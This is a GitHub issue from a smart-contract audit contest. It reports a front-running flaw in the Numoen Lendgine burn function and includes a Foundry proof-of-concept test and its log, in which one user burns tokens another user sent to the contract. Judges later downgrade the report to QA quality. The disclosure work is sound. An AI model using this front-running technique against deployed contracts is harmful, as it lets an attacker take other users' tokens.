code-423n4 / 2023-01-numoen-findings

0 stars 0 forks source link

A malicious user can steal tokens lendgine across burn in Lendgine.sol #168

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Lendgine.sol#L108 https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Lendgine.sol#L105-L120

Vulnerability details

Impact

Due that to burn tokens first there is send tokens to the contract and then caller the function burn, a attacked can make front running and steal funds of lendgineToken, this would do that the victim no can burn their tokens

https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Lendgine.sol#L108

Proof of Concept

assume that there is liquidity enough see follows scenario

1) cuh proceed to mint by a value 5e18

2) dennis cuh proceed to mint by a value 10e18

3) cuh want burn their shares and sende 5e17 to the contract and call burn

4) dennis see this and call the function burn with the same parameters that cuh but with more gas thus executing their transaction first

5) transaction cuh reverted by funds insufficient

here test

      function testExploit() external {

      _deposit(address(this), address(this), 2 ether  , 16 ether , 2 ether);

      _mint(cuh, cuh, 5 ether);
      _mint(dennis, dennis, 10 ether);

      emit log("mint-");
      emit log_named_decimal_uint("token0.balanceOf(cuh)               :",token0.balanceOf(cuh),0); 
      emit log_named_decimal_uint("token1.balanceOf(cuh)               :",token1.balanceOf(cuh),0);
      emit log("    ");
      emit log_named_decimal_uint("token0.balanceOf(dennis)            :",token0.balanceOf(dennis),0); 
      emit log_named_decimal_uint("token1.balanceOf(dennis)            :",token1.balanceOf(dennis),0);
      emit log("   ");
      emit log_named_decimal_uint("lendgine.balanceOf(cuh)             :",lendgine.balanceOf(cuh),0);
      emit log_named_decimal_uint("lendgine.balanceOf(dennis)          :",lendgine.balanceOf(dennis),0);

                vm.prank(cuh);
                lendgine.transfer(address(lendgine),0.5 ether);

      emit log("burn-");

          vm.startPrank(dennis);
            token0.approve(address(this), 0.5 ether);
            token1.approve(address(this), 4 ether);
            vm.stopPrank();

            uint256 collateral1 = lendgine.burn(
            dennis,
            abi.encode(
              PairMintCallbackData({
                token0: address(token0),
                token1: address(token1),
                amount0: 0.5 ether,
                amount1: 4 ether,
                payer: dennis
              })
            )
          );

          emit log("burn-");

          vm.startPrank(cuh);
            token0.approve(address(this), 0.5 ether);
            token1.approve(address(this), 4 ether);
            vm.stopPrank();

              vm.expectRevert();

            uint256 collateral2 = lendgine.burn(
            cuh,
            abi.encode(
              PairMintCallbackData({
                token0: address(token0),
                token1: address(token1),
                amount0: 0.5 ether,
                amount1: 4 ether,
                payer: cuh
              })
            )
          );

      emit log_named_decimal_uint("token0.balanceOf(cuh)               :",token0.balanceOf(cuh),0); 
      emit log_named_decimal_uint("token1.balanceOf(cuh)               :",token1.balanceOf(cuh),0);
      emit log("   ");
      emit log_named_decimal_uint("token0.balanceOf(dennis)            :",token0.balanceOf(dennis),0); 
      emit log_named_decimal_uint("token1.balanceOf(dennis)            :",token1.balanceOf(dennis),0);
      emit log("   ");
      emit log_named_decimal_uint("lendgine.balanceOf(cuh)             :",lendgine.balanceOf(cuh),0);
      emit log_named_decimal_uint("lendgine.balanceOf(dennis)          :",lendgine.balanceOf(dennis),0);

            vm.startPrank(dennis);
            token0.approve(address(this), 0.5 ether);
            token1.approve(address(this), 9 ether);
            vm.stopPrank();

        uint256 size = lendgine.deposit(
            dennis,
            0.8 ether,
            abi.encode(
              PairMintCallbackData({
                token0: address(token0),
                token1: address(token1),
                amount0: 0.5 ether,
                amount1: 7.5 ether,
                payer: dennis
              })
            )
          );

      emit log("   ");
      emit log_named_decimal_uint("token0.balanceOf(dennis)            :",token0.balanceOf(dennis),0); 
      emit log_named_decimal_uint("token1.balanceOf(dennis)            :",token1.balanceOf(dennis),0);
      emit log("   ");
      emit log_named_decimal_uint("lendgine.balanceOf(dennis)          :",lendgine.balanceOf(dennis),0);

        }

result

  Running 1 test for test/BurnTest.t.sol:BurnTest
  [PASS] testExploit() (gas: 721514)
  Logs:
  mint-
  token0.balanceOf(cuh)               :: 500000000000000000.0
  token1.balanceOf(cuh)               :: 4000000000000000000.0

  token0.balanceOf(dennis)            :: 1000000000000000000.0
  token1.balanceOf(dennis)            :: 8000000000000000000.0

  lendgine.balanceOf(cuh)             :: 500000000000000000.0
  lendgine.balanceOf(dennis)          :: 1000000000000000000.0
  burn-
  burn-
  token0.balanceOf(cuh)               :: 500000000000000000.0
  token1.balanceOf(cuh)               :: 4000000000000000000.0

  token0.balanceOf(dennis)            :: 500000000000000000.0
  token1.balanceOf(dennis)            :: 9000000000000000000.0

  lendgine.balanceOf(cuh)             :: 0.0
  lendgine.balanceOf(dennis)          :: 1000000000000000000.0

  token0.balanceOf(dennis)            :: 0.0
  token1.balanceOf(dennis)            :: 1500000000000000000.0

  lendgine.balanceOf(dennis)          :: 1000000000000000000.0

 Test result: ok. 1 passed; 0 failed; finished in 11.18ms

Tools Used

foundry

Recommended Mitigation Steps

add a personalisation of shares in function burn, would be a mapping

c4-judge commented 1 year ago

berndartmueller marked the issue as duplicate of #143

c4-judge commented 1 year ago

berndartmueller changed the severity to QA (Quality Assurance)

c4-judge commented 1 year ago

berndartmueller marked the issue as grade-c